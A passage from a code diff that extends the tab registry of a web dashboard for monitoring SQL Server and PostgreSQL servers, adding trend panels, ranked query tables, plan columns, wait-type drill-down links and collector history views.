     emptyText: opts.emptyText,
+    /* #5244: the answer's field naming the collector that answered (get_blocking_trend's `source`); absent on every other line. */
+    sourceKey: opts.sourceKey,
+    /* The panel is not drawn when the server answers "not collected" (it does not apply to this kind of server). */
+    hideWhenNotCollected: opts.hideWhenNotCollected === true,
     span: opts.span ?? 1,
+    /* The chart menu's "at This Time" item opens the SQL Server Queries or Blocking tab, so a panel on a registry
+       without them (the one PostgreSQL line) passes atTime: false. A chart offers the one item that matches it, as the
+       desktop does: atTimeItem is "blocking" or "deadlocks" on those charts, and Active Queries otherwise. */
+    atTime: opts.atTime === false || !params || !params.server ? null : { server: params.server, item: opts.atTimeItem || "queries" },
   });
 }
 
@@ -747,11 +1097,14 @@ export const SERVER_TABS = [
       line("Blocking Events", "get_blocking_trend", { server, hours: ctx.hours }, "trend", "time", COUNT_SERIES, {
         subtitle: ctx.label,
         format: "int",
+        atTimeItem: "blocking",
+        sourceKey: "source",
         emptyText: "No blocking events in this window — an empty trend here means none happened, not that nothing was collected.",
       }),
       line("Deadlocks", "get_deadlock_trend", { server, hours: ctx.hours }, "trend", "time", COUNT_SERIES, {
         subtitle: ctx.label,
         format: "int",
+        atTimeItem: "deadlocks",
         emptyText: "No deadlocks in this window — an empty trend here means none happened, not that nothing was collected.",
       }),
       fileIoPanel(server, ctx),
@@ -782,7 +1135,7 @@ export const SERVER_TABS = [
         "get_waiting_tasks",
         { server, hours: ctx.hours, limit: 30 },
         "tasks",
-        WAITING_TASK_COLUMNS,
+        withWaitLink(WAITING_TASK_COLUMNS, server, "collection_time"),
         ctx.label,
         "No waiting tasks were captured in this window."
       ),
@@ -795,6 +1148,7 @@ export const SERVER_TABS = [
         ctx.label,
         "No latch classes accumulated waits in this window."
       ),
+      namedTrendPanel(server, ctx, "latch"),
       table(
         "Spinlock Stats",
         "get_spinlock_stats",
@@ -804,6 +1158,7 @@ export const SERVER_TABS = [
         ctx.label,
         "No spinlocks recorded collisions in this window."
       ),
+      namedTrendPanel(server, ctx, "spinlock"),
     ],
   },
 
@@ -819,30 +1174,41 @@ export const SERVER_TABS = [
         emptyText: "No CPU samples in this window.",
       }),
       stat("Scheduler Pressure", "get_cpu_scheduler_pressure", { server }, SCHEDULER_STATS, SNAPSHOT, 2),
+      serverTrendPanel(server, ctx, "cpu_scheduler"),
       /* #4231: `noteKey` (#3278) carries `truncation_note` — raw query_stats/procedure_stats are dropped at
          4 days once the rollups are armed, and a window asking further back than that silently served less
          than it asked for. Null when the floor did not bite, the same as every other noteKey panel. */
-      table(
-        "Top Queries by CPU",
-        "get_top_queries_by_cpu",
-        { server, hours: ctx.hours, top: 20 },
-        "queries",
-        TOP_QUERY_COLUMNS,
-        ctx.label,
-        "No query stats in this window. Delta-based collection needs at least two cycles (~30 minutes) before it reports non-zero values.",
-        2,
-        "truncation_note"
+      rankedCard("queries", (ranking, picker) =>
+        table(
+          "Top Queries by " + topRankingLabel(ranking),
+          "get_top_queries_by_cpu",
+          rankedParams({ server, hours: ctx.hours, top: 20, detail: "full" }, ranking),
+          "queries",
+          [...TOP_QUERY_COLUMNS, planColumn(server)],
+          ctx.label,
+          "No query stats in this window. Delta-based collection needs at least two cycles (~30 minutes) before it reports non-zero values.",
+          2,
+          "truncation_note",
+          null,
+          TOP_QUERY_GROUPS,
+          picker
+        )
       ),
-      table(
-        "Top Procedures by CPU",
-        "get_top_procedures_by_cpu",
-        { server, hours: ctx.hours, top: 20 },
-        "procedures",
-        TOP_PROC_COLUMNS,
-        ctx.label,
-        "No procedure stats in this window. Delta-based collection needs at least two cycles (~30 minutes).",
-        2,
-        "truncation_note"
+      rankedCard("procedures", (ranking, picker) =>
+        table(
+          "Top Procedures by " + topRankingLabel(ranking),
+          "get_top_procedures_by_cpu",
+          rankedParams({ server, hours: ctx.hours, top: 20, detail: "full" }, ranking),
+          "procedures",
+          [...TOP_PROC_COLUMNS, procedurePlanColumn(server)],
+          ctx.label,
+          "No procedure stats in this window. Delta-based collection needs at least two cycles (~30 minutes).",
+          2,
+          "truncation_note",
+          null,
+          TOP_PROC_GROUPS,
+          picker
+        )
       ),
     ],
   },
@@ -858,6 +1224,8 @@ export const SERVER_TABS = [
         span: 2,
         emptyText: "No memory samples in this window.",
       }),
+      memoryClerksTrendPanel(server, ctx),
+      serverTrendPanel(server, ctx, "plan_cache"),
       table(
         "Memory Clerks",
         "get_memory_clerks",
@@ -868,16 +1236,7 @@ export const SERVER_TABS = [
         "No memory clerks in the latest snapshot — the clerk collector may not have run yet.",
         1
       ),
-      table(
-        "Memory Pressure Events",
-        "get_memory_pressure_events",
-        { server, hours: ctx.hours },
-        "events",
-        PRESSURE_COLUMNS,
-        ctx.label,
-        "No memory pressure events in this window — the healthy state for this read.",
-        1
-      ),
+      ...memoryPressurePanels(server, ctx),
       /* #3653: TWO READS UNDER ONE WINDOW (#3637), rendered as the two things they are. The memory-grant
          pair answers with `grants[]` - the NEWEST snapshot in the window, one row per pool (per semaphore and
          pool on the semaphore lens), every row stamped with the same instant - and `window[]` - one row per
@@ -905,6 +1264,7 @@ export const SERVER_TABS = [
           title: "Memory Grants",
           subtitle: "newest snapshot in " + ctx.label + ", per resource pool - a moment, not the window",
           viz: "table",
+          windowNote: false,
           rowsKey: "grants",
           columns: GRANT_COLUMNS,
           emptyText: "No memory grant snapshot in this window.",
@@ -923,6 +1283,7 @@ export const SERVER_TABS = [
           title: "Resource Semaphore",
           subtitle: "newest snapshot in " + ctx.label + ", per semaphore and pool - a moment, not the window",
           viz: "table",
+          windowNote: false,
           rowsKey: "grants",
           columns: SEMAPHORE_COLUMNS,
           emptyText: "No resource-semaphore snapshot in this window.",
@@ -945,18 +1306,26 @@ export const SERVER_TABS = [
   {
     id: "blocking",
     label: "Blocking",
-    note:
-      "Blocked-process reports and deadlock graphs are shown here as their captured XML. The block-chain view " +
-      "and the interactive deadlock graph are desktop-viewer features.",
+    /* get_blocking_stats, which draws Blocking Severity and Deadlock Severity, takes any window, and its tables keep
+       more than this page's widest Range. The note names that Range from the presets (tabNote), so narrowing them
+       cannot leave it wrong. */
+    note: (widestHours) =>
+      "Blocked-process reports are shown here as their captured XML. The block-chain view " +
+      "is one of the desktop-viewer features this page does not have. A deadlock graph can be drawn from its row. This page shows at most " +
+      daysText(widestHours) +
+      ". A Custom View can show more blocking and deadlock history.",
     build: (server, ctx) => [
       line("Blocking Events", "get_blocking_trend", { server, hours: ctx.hours }, "trend", "time", COUNT_SERIES, {
         subtitle: ctx.label,
         format: "int",
+        atTimeItem: "blocking",
+        sourceKey: "source",
         emptyText: "No blocking events in this window — an empty trend here means none happened, not that nothing was collected.",
       }),
       line("Deadlocks", "get_deadlock_trend", { server, hours: ctx.hours }, "trend", "time", COUNT_SERIES, {
         subtitle: ctx.label,
         format: "int",
+        atTimeItem: "deadlocks",
         emptyText: "No deadlocks in this window — an empty trend here means none happened, not that nothing was collected.",
       }),
       table(
@@ -964,18 +1333,20 @@ export const SERVER_TABS = [
         "get_blocking",
         { server, hours: ctx.hours, limit: 30 },
         "events",
-        BLOCKING_COLUMNS,
+        [...BLOCKING_COLUMNS, ...blockingPlanColumns(server)],
         ctx.label,
         "No blocking events in this window.",
         2,
-        "separately_monitored_note"
+        "separately_monitored_note",
+        null,
+        BLOCKING_GROUPS
       ),
       table(
         "Deadlocks",
         "get_deadlocks",
         { server, hours: ctx.hours, limit: 20 },
         "deadlocks",
-        DEADLOCK_COLUMNS,
+        [...DEADLOCK_COLUMNS, deadlockPlanColumn(server)],
         ctx.label,
         "No deadlocks in this window.",
         2,
@@ -990,6 +1361,7 @@ export const SERVER_TABS = [
         {
           title: "Waiting Tasks",
           subtitle: ctx.label,
+          dbScope: "server",
           viz: "line",
           rowsKey: "waiting_tasks",
           xKey: "collection_time",
@@ -1015,6 +1387,7 @@ export const SERVER_TABS = [
          this chart drew as one jagged line. get_wait_trend can chart one LCK type; this is the whole family. */
       line("Lock Waits", "get_lock_wait_trend", { server, hours: ctx.hours }, "trend", "collection_time", LOCK_WAIT_SERIES, {
         subtitle: ctx.label,
+        atTimeItem: "blocking",
         emptyText:
           "No lock waits in this window. If wait stats have never been collected for this server the read " +
           "says so explicitly rather than reporting an absence of lock contention.",
@@ -1026,6 +1399,8 @@ export const SERVER_TABS = [
           title: "Blocking Severity",
           subtitle: ctx.label,
           viz: "line",
+          atTimeItem: "blocking",
+          sourceKey: "source",
           rowsKey: "blocking_duration",
           xKey: "time",
           series: BLOCKING_SEVERITY_SERIES,
@@ -1036,22 +1411,16 @@ export const SERVER_TABS = [
         {
           title: "Deadlock Severity",
           subtitle: ctx.label,
+          dbScope: "unfiltered",
           viz: "line",
+          atTimeItem: "deadlocks",
           rowsKey: "deadlock_severity",
           xKey: "time",
           series: DEADLOCK_SEVERITY_SERIES,
           emptyText: "No deadlocks in this window.",
         },
       ]),
-      table(
-        "Deadlock Graphs",
-        "get_deadlock_detail",
-        { server, hours: ctx.hours, limit: 5 },
-        "deadlocks",
-        DEADLOCK_XML_COLUMNS,
-        ctx.label,
-        "No deadlock graph XML captured in this window."
-      ),
+      deadlockGraphsPanel(server, ctx),
       table(
         "Blocked Process Reports",
         "get_blocked_process_xml",
@@ -1139,15 +1508,7 @@ export const SERVER_TABS = [
       "desktop-viewer features — they need a plan renderer and a command back to the monitored server, neither " +
       "of which this read-only web seat has.",
     build: (server, ctx) => [
-      table(
-        "Active Queries",
-        "get_active_queries",
-        { server, hours: ctx.hours, limit: 50 },
-        "queries",
-        ACTIVE_COLUMNS,
-        ctx.label,
-        "No active-query snapshots in this window."
-      ),
+      activeQueriesPanel(server, ctx),
       /* #2484: the viewer's Performance Trends tab is four charts over three reads. Duration and the
          execution rate come from ONE payload -- via fanout, not two line() calls, because the tab must not
          fetch the same read twice. They get separate charts rather than separate series because ms/sec and
@@ -1212,27 +1573,35 @@ export const SERVER_TABS = [
          mean two fetches of get_top_queries_by_cpu for one page's worth of the same twenty rows. */
       topQueriesPanel(server, ctx),
       /* #4231: same `truncation_note` disclosure as the CPU tab's plain tables. */
-      table(
-        "Top Procedures by CPU",
-        "get_top_procedures_by_cpu",
-        { server, hours: ctx.hours, top: 20 },
-        "procedures",
-        TOP_PROC_COLUMNS,
-        ctx.label,
-        "No procedure stats in this window. Delta-based collection needs at least two cycles (~30 minutes).",
-        2,
-        "truncation_note"
+      rankedCard("procedures", (ranking, picker) =>
+        table(
+          "Top Procedures by " + topRankingLabel(ranking),
+          "get_top_procedures_by_cpu",
+          rankedParams({ server, hours: ctx.hours, top: 20, detail: "full" }, ranking),
+          "procedures",
+          [...TOP_PROC_COLUMNS, procedurePlanColumn(server)],
+          ctx.label,
+          "No procedure stats in this window. Delta-based collection needs at least two cycles (~30 minutes).",
+          2,
+          "truncation_note",
+          null,
+          TOP_PROC_GROUPS,
+          picker
+        )
       ),
       table(
         "Query Store",
         "get_query_store_top",
         { server, hours: ctx.hours, top: 20 },
         "queries",
-        QUERY_STORE_COLUMNS,
+        [...QUERY_STORE_COLUMNS, queryStorePlanColumn(server), queryStoreHistoryColumn(server, ctx.hours)],
         ctx.label,
         "No Query Store rows in this window.",
         2,
-        "truncation_note"
+        "truncation_note",
+        /* #5094: when whole days came from the daily summary the answer says so (`approximate`), and its note is
+           drawn above the grid as text, so the totals are not read as exact. Null (no line) on an exact answer. */
+        ["approximation_note"]
       ),
       /* #2484: the Query Store Regressions tab -- the only tab in the per-server page that was entirely
          unreachable from a browser rather than merely reduced. Built with table(), not an object literal:
@@ -1246,7 +1615,11 @@ export const SERVER_TABS = [
         QUERY_STORE_REGRESSION_COLUMNS,
         ctx.label,
         "No query regressed against its baseline in this window. If this server has no history OLDER than " +
-          "the window there is nothing to compare against, and the read says so rather than calling it clear."
+          "the window there is nothing to compare against, and the read says so rather than calling it clear.",
+        2,
+        null,
+        null,
+        QUERY_STORE_REGRESSION_GROUPS
       ),
       /* #3797: the clutter view. ONE fetch, three panels — the per-database rows, the per-server QDS wait
          block and the per-server memory clerk — because the read composes four arms over two raw hypertables
@@ -1268,17 +1641,20 @@ export const SERVER_TABS = [
           subtitle: ctx.label + ", per database, worst first",
           viz: "table",
           rowsKey: "databases",
+          floorKey: "window",
           columns: QS_CLUTTER_COLUMNS,
           noteKey: "server_note",
           emptyText:
-            "No Query Store rows, no query_store fan-out run and no query_store_health capture for this " +
+            "No Query Store rows, no Query Store collection run and no Query Store health capture for this " +
             "server in this window. The read says which of those it found rather than showing an empty grid.",
         },
         {
           title: "Query Store Overhead (per server)",
           subtitle: ctx.label,
+          dbScope: "server",
           viz: "table",
           rowsKey: "qs_overhead.wait_stats.included",
+          floorKey: "window",
           columns: QS_OVERHEAD_WAIT_COLUMNS,
           noteKey: "qs_overhead.wait_stats.excluded_note",
           emptyText:
@@ -1289,6 +1665,7 @@ export const SERVER_TABS = [
           title: "Query Store Memory Clerk",
           subtitle: SNAPSHOT,
           span: 1,
+          dbScope: "server",
           viz: "stat",
           stats: QS_CLERK_STATS,
           noteKey: "qs_overhead.memory_clerk.note",
@@ -1321,7 +1698,11 @@ export const SERVER_TABS = [
         "completions",
         LONG_QUERY_COLUMNS,
         ctx.label,
-        "No long-running completions in this window. This collector is opt-in and off by default."
+        "No long-running completions in this window. This collector is opt-in and off by default.",
+        2,
+        null,
+        null,
+        LONG_QUERY_GROUPS
       ),
       /* One read, two panels. get_plan_corrections returns both arrays, and automatic_tuning comes from an
          unconditional latest-snapshot query that ignores hours/limit entirely — so the second fetch was paying
@@ -1333,6 +1714,8 @@ export const SERVER_TABS = [
           viz: "table",
           rowsKey: "recommendations",
           columns: PLAN_CORRECTION_COLUMNS,
+          groups: PLAN_CORRECTION_GROUPS.groups,
+          defaultGroups: PLAN_CORRECTION_GROUPS.defaultGroups,
           emptyText: "No tuning recommendations in this window.",
         },
         {
@@ -1340,6 +1723,7 @@ export const SERVER_TABS = [
           subtitle: SNAPSHOT,
           span: 1,
           viz: "table",
+          windowNote: false,
           rowsKey: "automatic_tuning",
           columns: AUTO_TUNING_COLUMNS,
           emptyText: "No per-database FORCE_LAST_GOOD_PLAN state recorded.",
@@ -1380,6 +1764,7 @@ export const SERVER_TABS = [
         SNAPSHOT,
         "No database configuration snapshot yet."
       ),
+      scopedConfigPanel(server),
       table(
         "Query Store Health",
         "get_query_store_health",
@@ -1441,6 +1826,7 @@ export const SERVER_TABS = [
     label: "Activity",
     build: (server, ctx) => [
       perfmonPanel(server, ctx),
+      sessionStatsTrendPanel(server, ctx),
       ...fanout("get_session_stats", { server }, [
         { title: "Sessions", subtitle: SNAPSHOT, viz: "stat", stats: SESSION_STATS },
         {
@@ -1461,6 +1847,15 @@ export const SERVER_TABS = [
         SNAPSHOT,
         "No SQL Agent jobs were running at the last collection — the normal state for most servers."
       ),
+      table(
+        "Job History",
+        "get_job_history",
+        { server, hours: ctx.hours, limit: 100 },
+        "runs",
+        JOB_HISTORY_COLUMNS,
+        ctx.label + ", newest 100 runs (steps and job outcomes)",
+        "No SQL Agent job runs were retained in this window."
+      ),
       table(
         "Index Usage",
         "get_index_usage",
@@ -1544,7 +1939,8 @@ export const SERVER_TABS = [
         "events",
         MEMORY_CONDITION_COLUMNS,
         ctx.label,
-        "No memory condition events in this window."
+        "No memory condition events in this window.",
+        2, null, null, MEMORY_CONDITION_GROUPS
       ),
       table(
         "Memory Broker",
@@ -1562,7 +1958,8 @@ export const SERVER_TABS = [
         "events",
         MEMORY_OOM_COLUMNS,
         ctx.label,
-        "No memory node OOM events in this window — the healthy state for this read."
+        "No memory node OOM events in this window — the healthy state for this read.",
+        2, null, null, MEMORY_OOM_GROUPS
       ),
       /* #2484: the ninth member of the get_health_parser_* family. Built with table(), not a bare object
          literal -- mount() stringifies anything it cannot consume, so a literal renders as [object Object]
@@ -1572,7 +1969,7 @@ export const SERVER_TABS = [
         "get_health_parser_significant_waits",
         { server, hours: ctx.hours, limit: 50 },
         "waits",
-        SIGNIFICANT_WAIT_COLUMNS,
+        withWaitLink(SIGNIFICANT_WAIT_COLUMNS, server, "event_time"),
         ctx.label,
         "No significant waits (a real session waiting 500 ms+ on a non-idle wait type) in this window."
       ),
@@ -1603,13 +2000,27 @@ export const SERVER_TABS = [
            panel assert a window it did not measure. Shared const so the SQL Server and PostgreSQL tabs cannot
            drift apart on it. */
         ALERT_READ_PANEL,
+        COLLECTION_CAVEATS_PANEL,
         {
           title: "Collectors",
           subtitle: "trailing 7 days",
           viz: "table",
           rowsKey: "collectors",
           columns: COLLECTOR_COLUMNS,
+          /* Click-through 10: worst first, not A to Z. */
+          orderRows: worstFirst,
           emptyText: "No collection log rows for this server yet.",
+          /* #5227: a row is the way into that collector's run history (the Collection Log below). */
+          onRow: (row, tr) => {
+            if (!row || !row.collector) return;
+            tr.style.cursor = "pointer";
+            tr.setAttribute("title", "Show the runs of " + row.collector + " in the Collection Log below");
+            /* Enter/Space as well as a click; a click that ends a text selection inside the row is the user copying, not picking. */
+            makeActivatable(tr, (e) => {
+              if (e && e.type === "click" && selectionInside(tr)) return;
+              pickCollector(server, row.collector);
+            });
+          },
         },
         {
           title: "Heaviest Collectors",
@@ -1624,17 +2035,12 @@ export const SERVER_TABS = [
          the rollup aggregates seven days into one row per collector, and no projection of it can give
          back the individual runs. This is the tab people reach for when the rollup says HEALTHY and
          collection still looks wrong, and until now the WPF viewer was the only way to it. */
-      table(
-        "Collection Log",
-        "get_collection_log",
-        { server, hours: ctx.hours, limit: 200 },
-        "runs",
-        COLLECTION_LOG_COLUMNS,
-        "individual runs, newest first, over the selected window",
-        "No collector runs in the selected window.",
-      ),
+      collectionLogPanel(server, ctx),
     ],
   },
+
+  /* #4843: the desktop viewer's analysis Recommendations view (pages/analysis-findings.js). */
+  analysisFindingsTab,
 ];
 
 /* ─────────────────────────── the PostgreSQL tabs ─────────────────────────── */
@@ -1669,7 +2075,7 @@ export const POSTGRES_TABS = [
          not "which table". Each read is fetched again by the tab that owns it — the same deliberate duplication
          the SQL Server Overview makes with file I/O and findings. The cost is one read per tab actually opened;
          the alternative is an Overview that cannot answer its own question. */
-      stat(
+      momentStat(
         "Freeze Headroom",
         "get_pg_wraparound_risk",
         { server, hours: ctx.hours },
@@ -1695,9 +2101,12 @@ export const POSTGRES_TABS = [
           format: "pct",
           unit: "%",
           emptyText: "No CPU samples in this window. This is an Amazon Aurora feature — on a stock PostgreSQL target this panel is permanently empty.",
+          /* Click-through 3: on a server that is not Aurora the read answers "not collected", and the panel is not drawn. */
+          hideWhenNotCollected: true,
+          atTime: false,
         }
       ),
-      stat(
+      momentStat(
         "xmin Horizon",
         "get_pg_xmin_horizon",
         { server, hours: ctx.hours },
@@ -1749,12 +2158,15 @@ export const POSTGRES_TABS = [
            panel assert a window it did not measure. Shared const so the SQL Server and PostgreSQL tabs cannot
            drift apart on it. */
         ALERT_READ_PANEL,
+        COLLECTION_CAVEATS_PANEL,
         {
           title: "Collectors",
           subtitle: "trailing 7 days",
           viz: "table",
           rowsKey: "collectors",
           columns: COLLECTOR_COLUMNS,
+          /* Click-through 10: worst first, not A to Z. */
+          orderRows: worstFirst,
           emptyText: "No collection log rows for this server yet.",
         },
         {
@@ -1860,29 +2272,39 @@ export const POSTGRES_TABS = [
             "No lock cycle was sampled in this window — the healthy state. A cycle has no root blocker to attribute, which is why it is a separate grid rather than a chain with a missing root.",
         },
       ]),
-      table(
-        "Top Query Shapes",
-        "get_pg_top_queries",
-        { server, hours: ctx.hours, limit: 20 },
-        "queries",
-        PG_TOP_QUERY_COLUMNS,
-        ctx.label + ", by total execution time",
-        "No query statistics in this window.",
-        2,
-        /* #4677: the eviction caveat the read builds (null when the counter was read and no pass happened,
-           the unknown sentence when it was never observed), rendered above the rows. */
-        "evictions.note"
-      ),
+      /* One fetch, two panels: the eviction pass count and the statement cap in a tile (the figures the desktop
+         viewer's note names), then the grid. #4677: the caveat the read builds (null when the counter was read and
+         no pass happened, the unknown sentence when it was never observed) renders above the rows. */
+      ...fanout("get_pg_top_queries", { server, hours: ctx.hours, limit: 20 }, [
+        {
+          title: "Statement Evictions",
+          subtitle: ctx.label + ", pg_stat_statements passes",
+          viz: "stat",
+          stats: PG_EVICTION_STATS,
+          span: 1,
+          emptyText: "No eviction figures: the extension's eviction counter was not read in this window.",
+        },
+        {
+          title: "Top Query Shapes",
+          subtitle: ctx.label + ", by total execution time",
+          viz: "table",
+          rowsKey: "queries",
+          columns: PG_TOP_QUERY_COLUMNS,
+          emptyText: "No query statistics in this window.",
+          noteKey: "evictions.note",
+        },
+      ]),
       /* Directly under the query shapes, joined on queryid: a plan only means something beside the
          statement it belongs to. The plan JSON is REDACTED at collection - query text dropped, literals
          replaced - so nothing customer-specific reaches this grid, and the empty text names the usual
-         cause rather than implying the server is quiet. */
+         cause rather than implying the server is quiet. The Plan cell shows the row's own redacted JSON;
+         no second read. */
       table(
         "Captured Plans",
         "get_pg_plans",
         { server, hours: ctx.hours, limit: 10 },
         "plans",
-        PG_PLAN_COLUMNS,
+        [...PG_PLAN_COLUMNS, pgPlanColumn(server)],
         ctx.label + ", grouped by plan shape - plans are redacted at collection",
         "No captured plans. Usually auto_explain is not loaded, or the monitoring login cannot read the server log; on Aurora and RDS there is no log file to read at all."
       ),
@@ -2088,6 +2510,7 @@ export const POSTGRES_TABS = [
           title: "What Holds the Horizon",
           subtitle: ctx.label,
           viz: "stat",
+          windowNote: false,
           stats: PG_XMIN_STATS,
           span: 2,
           emptyText:
@@ -2128,6 +2551,7 @@ export const POSTGRES_TABS = [
           title: "Freeze Headroom",
           subtitle: ctx.label,
           viz: "stat",
+          windowNote: false,
           stats: PG_WRAPAROUND_STATS,
           span: 1,
           emptyText: "No freeze-headroom samples in this window.",
@@ -2138,6 +2562,7 @@ export const POSTGRES_TABS = [
           title: "Where the Thresholds Are",
           subtitle: "PostgreSQL's own, not ours",
           viz: "stat",
+          windowNote: false,
           stats: PG_WRAPAROUND_THRESHOLD_STATS,
           span: 1,
         },
@@ -2202,7 +2627,14 @@ export const POSTGRES_TABS = [
         "queries",
         PG_KERNEL_COLUMNS,
         ctx.label + ", CPU measured by the operating system; device bytes are not logical I/O",
-        "No per-query OS resource usage in this window."
+        "No per-query OS resource usage in this window.",
+        2,
+        null,
+        null,
+        null,
+        null,
+        null,
+        "pg_stat_kcache is not installed on this server, so per-query OS CPU is not collected. Install the extension (it needs shared_preload_libraries and a restart) to fill this panel."
       ),
       /* #2663 the first PostgreSQL time series. The single-window panels above rank what this server waits
          on; this follows ONE of them over time, which is the question they cannot answer. Parameterised by
@@ -2463,6 +2895,11 @@ export const POSTGRES_TABS = [
   },
 ];
 
+/* Each tab's `reachReads` and `collector`, from server-tab-reach.js (#5562 r3): kept apart so a pin that counts a tab's fetches or
+   reads its neighbouring fields as text never sees a reach list. The tab objects carry both at run time. */
+withTabReach(SERVER_TABS, SQL_TAB_REACH);
+withTabReach(POSTGRES_TABS, POSTGRES_TAB_REACH);
+
 /**
  * The tab registry for a fleet card — the ONE place the engine branch lives.
  *
@@ -2479,6 +2916,12 @@ export function serverTabsFor(card) {
   return card && card.is_postgres === true ? POSTGRES_TABS : SERVER_TABS;
 }
 
+/** True only for a POSITIVE PostgreSQL claim on the card, the same test serverTabsFor makes (#5245: the server page's database
+ *  filter reads the claim through this, so server.js never re-derives the boolean from the card itself). */
+export function isPostgresTarget(card) {
+  return !!card && card.is_postgres === true;
+}
+
 /** The tab for an id within a registry, falling back to the first (Overview) — an unknown/absent id is a deep
  *  link, not an error. `overview`, `activity`, `waits` and `io` exist in BOTH registries, so those deep links
  *  survive a server turning out to be the other engine; the rest fall back rather than break. */
@@ -2487,9 +2930,12 @@ export function findServerTab(id, tabs) {
   return registry.find((t) => t.id === id) || registry[0];
 }
 
-/** The tab's note as a rendered strip, or null. Kept here so the shell has no opinion about its wording. */
-export function tabNote(tab) {
-  return tab.note ? noticeStrip(tab.note) : null;
+/** The tab's note as a rendered strip, or null. Kept here so the shell has no opinion about its wording. A note can be
+ *  a function of `widestHours`, the widest window the page's Range offers, so a sentence that names it stays true
+ *  when the presets change. */
+export function tabNote(tab, widestHours) {
+  const note = typeof tab.note === "function" ? tab.note(widestHours) : tab.note;
+  return note ? noticeStrip(note) : null;
 }
 
 /* ─────────────────────────── stat descriptors ─────────────────────────── */
@@ -2628,12 +3074,12 @@ const ALERT_READ_STATS = [
   { key: "alert_read_health.server_read_failures", label: "Blind reads (server)", format: "int" },
   { key: "alert_read_health.server_alert_passes", label: "Alert passes", format: "int" },
   { key: "alert_read_health.instance_read_failures", label: "Blind reads (service)", format: "int" },
-  { key: "alert_read_health.last_failure_read", label: "Which read", format: "text", small: true },
+  { key: "alert_read_health.last_failure_read", label: "Which read", format: "text", small: true, hideWhenEmpty: true },
   /* Beside "Which read" because the two answer one question together: which condition went blind, and
      whose deadline ended it. An elapsed at or about the alert pass's command deadline is this service
      giving up while the statement still ran on the store; well below it is a fault the store returned. */
-  { key: "alert_read_health.last_failure_elapsed_ms", label: "Ran for", format: "ms", small: true },
-  { key: "alert_read_health.last_failure_at", label: "Newest", format: "reltime", small: true },
+  { key: "alert_read_health.last_failure_elapsed_ms", label: "Ran for", format: "ms", small: true, hideWhenEmpty: true },
+  { key: "alert_read_health.last_failure_at", label: "Newest", format: "reltime", small: true, hideWhenEmpty: true },
   /* The fleet scope: failures that belong to NO server, so no per-server row can hold them and the
      service count beside a server zero would otherwise span two populations an operator acts on
      differently - a blind read on another server (read this panel there) and a blind read on a condition
@@ -2641,15 +3087,15 @@ const ALERT_READ_STATS = [
      the service count less the server count less this one, and are deliberately not a column: nothing
      holds a newest failure for that population, and a count with no stamp is what these stamps fix. */
   { key: "alert_read_health.fleet_read_failures", label: "Blind reads (no server)", format: "int" },
-  { key: "alert_read_health.fleet_last_failure_read", label: "Which read (no server)", format: "text", small: true },
-  { key: "alert_read_health.fleet_last_failure_elapsed_ms", label: "Ran for (no server)", format: "ms", small: true },
-  { key: "alert_read_health.fleet_last_failure_at", label: "Newest (no server)", format: "reltime", small: true },
+  { key: "alert_read_health.fleet_last_failure_read", label: "Which read (no server)", format: "text", small: true, hideWhenEmpty: true },
+  { key: "alert_read_health.fleet_last_failure_elapsed_ms", label: "Ran for (no server)", format: "ms", small: true, hideWhenEmpty: true },
+  { key: "alert_read_health.fleet_last_failure_at", label: "Newest (no server)", format: "reltime", small: true, hideWhenEmpty: true },
   /* The service count's own currency and identity terms. Scope-free by construction: the newest failure
      anywhere may be on a server this tab is not showing, which is why the fleet trio above is its own
      set rather than something to infer from these three. */
-  { key: "alert_read_health.instance_last_failure_read", label: "Which read (service)", format: "text", small: true },
-  { key: "alert_read_health.instance_last_failure_elapsed_ms", label: "Ran for (service)", format: "ms", small: true },
-  { key: "alert_read_health.instance_last_failure_at", label: "Newest (service)", format: "reltime", small: true },
+  { key: "alert_read_health.instance_last_failure_read", label: "Which read (service)", format: "text", small: true, hideWhenEmpty: true },
+  { key: "alert_read_health.instance_last_failure_elapsed_ms", label: "Ran for (service)", format: "ms", small: true, hideWhenEmpty: true },
+  { key: "alert_read_health.instance_last_failure_at", label: "Newest (service)", format: "reltime", small: true, hideWhenEmpty: true },
   /* #3848: the second population, beside the failure counts it is read against rather than replacing
      them. A read that crossed the 10 s deadline once and answered on the retry two seconds later is the
      store's write bands showing through - it used to be a blind condition, and it is now a count. Read
@@ -2668,6 +3114,25 @@ const ALERT_READ_PANEL = {
   stats: ALERT_READ_STATS,
 };
 
+/* #4843: the data families the scheduled analysis pass could not read on this server, from the same
+   get_collection_health read as the panels beside it (its `stored_caveats` array, which the service omits when the
+   store records none). The desktop viewer's "Analysis could not read these data families" grid, same four columns, and
+   hidden when empty like it. Shared const so the SQL Server and PostgreSQL tabs cannot drift apart on it. */
+const COLLECTION_CAVEATS_PANEL = {
+  title: "Analysis could not read these data families",
+  subtitle: "as of the latest analysis pass",
+  viz: "table",
+  rowsKey: "stored_caveats",
+  hideWhenNoRows: true,
+  columns: [
+    { key: "family", label: "Family" },
+    { key: "reason", label: "Reason", wrap: true },
+    { key: "first_seen_utc", label: "Since", format: "time" },
+    { key: "last_seen_utc", label: "Last seen", format: "time" },
+  ],
+  emptyText: "The analysis pass read every data family.",
+};
+
 const SWEEP_STATS = [
   { key: "sweep_pressure.verdict", label: "Verdict", format: "text", small: true },
   { key: "sweep_pressure.busy_percent", label: "Sweep busy %", format: "num1" },
@@ -2738,6 +3203,83 @@ const HEALTH_CPU_SERIES = [
   { key: "system_cpu_utilization", label: "System CPU %" },
 ];
 
+/* ───────────────────────── wait links (#5235) ───────────────────────── */
+
+/* A grid's Wait cell as a link to Active Queries filtered to that wait (the desktop's wait drill-down). The column keeps
+   its key, so sort, filter, CSV and copy read the raw wait; only the cell is a button, whose text is the wait. `timeKey`
+   names the row's own instant: the hour around it is the range Active Queries opens on (the hour holds the clicked minute
+   because different collectors capture at different instants). With no timeKey (Wait Stats, whose rows are window totals)
+   the range stays as it is. A row with no wait, a QDS_* wait (waitIsLinked) or a time that does not parse is plain text. */
+function withWaitLink(columns, server, timeKey) {
+  return columns.map((c) => (c.key === "wait_type" ? { ...c, render: (row) => waitLinkCell(server, row, timeKey) } : c));
+}
+
+function waitLinkCell(server, row, timeKey) {
+  const wait = row ? row.wait_type : null;
+  const plain = () => el("span", { text: wait == null || wait === "" ? "—" : String(wait) });
+  if (!waitIsLinked(wait)) return plain();
+  let tMs = null;
+  if (timeKey) {
+    const at = parseUtc(row[timeKey]);
+    if (!at) return plain();
+    tMs = at.getTime();
+  }
+  /* A range the page refuses is said beside the button; the filter is not set and the tab does not move. */
+  const note = el("span", { class: "wait-link-note", role: "status", "aria-live": "polite" });
+  const btn = el("button", {
+    type: "button",
+    class: "wait-link",
